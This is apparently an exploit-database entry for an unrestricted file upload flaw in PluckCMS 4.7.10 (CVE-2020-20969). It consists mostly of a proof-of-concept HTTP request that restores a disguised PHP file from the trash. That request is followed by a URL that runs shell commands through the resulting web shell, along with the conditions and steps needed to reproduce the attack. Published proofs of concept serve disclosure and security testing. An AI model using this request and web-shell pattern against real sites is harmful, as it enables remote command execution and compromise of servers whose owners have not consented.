📄 PluckCMS 4.7.10 Arbitrary File Upload

# Exploit Title: PluckCMS 4.7.10 - Unrestricted File Upload
    # Date: 2025-11-25
    # Exploit Author: CodeSecLab
    # Vendor Homepage: https://github.com/pluck-cms/pluck/
    # Software Link: https://github.com/pluck-cms/pluck/
    # Version: 4.7.10 
    # Tested on: Windows
    # CVE : CVE-2020-20969
    
    
    Proof Of Concept
    GET /admin.php?action=trash_restoreitem&var1=exploit.php.jpg&var2=file HTTP/1.1
    Host: pluck
    Cookie: PHPSESSID=[valid_session_id]
    
    **Access Method:**  
    http://pluck/files/exploit_copy.php?cmd=id
    
    **Additional Conditions:**  
    1. Valid session cookie required (authenticated attack)
    2. File `exploit.php.jpg` must exist in `data/trash/files/` before restoration
    3. Server must not filter double extensions during file upload/trash operations
    
    
    Steps to Reproduce
    Log in as an admin user.
    Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
    The file will be restored and can be accessed through the url.